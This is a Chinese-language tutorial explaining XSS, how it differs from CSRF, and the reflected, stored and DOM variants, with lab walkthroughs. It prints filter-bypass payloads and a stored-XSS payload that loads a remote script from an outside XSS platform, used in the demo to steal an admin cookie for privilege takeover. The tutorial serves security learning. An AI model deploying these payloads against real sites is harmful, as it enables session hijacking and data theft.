首頁 > 軟體

跨站指令碼攻擊XSS與CSRF區別方法詳解

2022-10-12 14:01:19

引文

上篇文章給大家帶來了XML實體注入(XXE)不知道小夥伴們學了後有沒有自己去運用,今天給大家帶來了一個名為跨站指令碼攻擊(XSS)的漏洞的介紹。

簡介

XSS 攻擊全稱跨站指令碼攻擊,XSS 是一種在 web 應用中的安全漏洞,它允許攻擊者將程式碼植入到 web 網站裡面,供給其它使用者 存取,當用戶存取到有惡意程式碼的網頁就會產生 xss 攻擊。

XSS與CSRF區別

之前講過CSRF漏洞,它同樣也是利用使用者存取網站連結來進行攻擊,那麼它與XSS漏洞之間的區別是什麼,在我個人的理解中可以分為兩個大方向:

ONE

原理不同,CSRF利用的是網站本身的漏洞來去攻擊,而XSS則是將攻擊程式碼插入網站中來進行攻擊。

TWO

利用環境不同, CSRF攻擊中需要受害者登入網站,網站有認證資訊才能攻擊,而XSS不用。

XSS攻擊方法

首先XSS有三種攻擊方式:

  • 反射型xss:不會永久儲存使用者的資料,僅發生在使用者的一次存取之後。
  • 儲存型xss:攻擊程式碼被持久化儲存在伺服器上,不會因為一次存取就消失,持久攻擊。
  • DOM型不需要與伺服器端互動的,它只發生在使用者端處理資料階段。

接下來我會分開詳細的講解這幾種型別是怎樣利用的:

反射型

使用者端通過某種方式向伺服器端傳送惡意JS程式碼=>伺服器將未過濾或過濾不徹底的惡意JS程式碼輸出(返回給瀏覽器)=>瀏覽器中的JS直譯器解析惡意JS程式碼,使使用者受到攻擊。

一個經典的XSS攻擊請求,然網頁彈出xss:

<script>alert(/xss/)</script> 

當然不止這一個,很多情況下一些函數被過濾了,我們也有繞過過濾的方法,下面就簡單列舉幾個:

 <script>alert(vulnerable)</script>
 %3Cscript%3Ealert('XSS')%3C/script%3E
 <script>alert('XSS')</script>
 <img src="javascript:alert('XSS')">
 <DIV STYLE="background-image: url(javascript:alert('XSS'))">
 <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
 <DIV STYLE="width: expression(alert('XSS'));">
 1"><ScscriptRipt>alert(1)</ScscriptRipt>

接下來給大家帶來一個滲透的例子:

我們開啟靶機檢視原始碼,發現它是向伺服器提交了一個name引數,而這一個引數值插入到了<h3></h3>標籤之間 ,因此可能存在XSS漏洞。

於是我們構造請求,將name賦值為:

<script>alert('xss')</script>

一個經典的彈窗payload,我們提交請求檢視效果:

成功彈窗,一次簡單的反射XSS攻擊成功達成。

儲存型

儲型XSS的特別之處在於提交的程式碼會儲存在伺服器端(資料庫、記憶體、檔案系統等),下次請求時目標頁面時不用再提交XSS程式碼。所以儲存型XSS的攻擊效果更強,而且攻擊的範圍更廣。一般存在於留言板評論等地區。 用一個靶機來給大家演示一下:

一個可以發表資訊樹洞網站,有登入和評論系統,我們先隨便評論幾句測試一下:

構造PAYLOAD

<IMG SRC="javascript.:alert('XINO');">

我們簡單存取一下儲存路徑,發現是一個錯報的圖片,存在XSS漏洞,接著我們利用XSS平臺(一個DIY構造不同XSS攻擊功能程式碼的網站,當XSS生效時可以回到網站檢視攻擊是否生效和攻擊得出的資訊)構造XSSpayload

得到構造好的惡意攻擊連結:

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss9.com/PAns';>

提交在評論區然後存取儲存路徑,回到XSS平臺檢視:

得到admin管理員的cookie,我們就可以通過修改cookie來獲取管理員許可權,從而進行進一步的滲透攻擊。上面就是一個簡單的儲存型XSS的利用。

DOM型

攻擊程式碼並不需要伺服器解析響應,利用的是瀏覽器端的DOM解析,在使用者端直接輸出DOM內容的時候極易觸發DOM型XSS漏洞。因為利用比較少,就放個簡單payload:

<img src=1 onerror=alert(1)>

XSS攻擊危害

根據上文的演示大家也能看出來XSS的危害了吧,這裡就綜合簡述一下它的危害。

  • 盜取各類使用者帳號,如管理員帳號
  • 控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力
  • 網站掛馬
  • 強制傳送電子郵件(釣魚)
  • 控制受害者機器(肉雞)向其它網站發起攻擊

結語

今天比較詳細的講了XSS漏洞的原理以及應用方法,其中比較重要的是反射型XSS與儲存型XSS,這兩個的利用條件並不是很苛刻而且效果很突出,有興趣的小夥伴可以自己去搭建靶機來進行合法測試,切勿隨意對別人網站進行測試攻擊,網際網路並非法外之地,以上就是跨站指令碼攻擊XSS與CSRF區別方法詳解的詳細內容,更多關於跨站指令碼攻擊XSS CSRF的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com